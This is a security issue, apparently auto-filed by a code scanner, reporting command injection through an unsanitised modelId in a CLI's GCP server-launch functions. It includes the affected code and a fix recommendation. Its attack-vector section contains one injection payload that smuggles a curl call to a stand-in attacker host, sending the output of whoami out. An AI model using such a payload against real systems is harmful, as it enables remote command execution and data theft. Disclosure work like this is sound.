-
Notifications
You must be signed in to change notification settings - Fork 5
Description
File: packages/cli/src/gcp/gcp.ts:838-839, 869
Severity: HIGH
Description
The modelId parameter in GCP's runServer() and runServerCapture() functions is interpolated directly into a shell command without proper sanitization. If a malicious model ID contains shell metacharacters, it could lead to command injection on the remote VM.
Vulnerable Code
// Line 838-839
`bash -c ${shellQuote(fullCmd)}`Where fullCmd can contain user-controlled model IDs from environment variables or prompts.
Attack Vector
- User sets
MODEL_ID='"; curl attacker.com/exfil?data=$(whoami); "' - Model ID gets interpolated into SSH command
- Shell executes injected command on remote VM
Impact
An attacker with control over MODEL_ID environment variable or prompt input could execute arbitrary commands on newly provisioned GCP VMs.
Recommendation
The modelId is already validated via validateModelId() in shared/oauth.ts:293, but that validation should be applied before the value reaches runServer(). Add explicit validation in GCP's agent setup flow, or pass model IDs via environment variables instead of shell interpolation.
-- code-scanner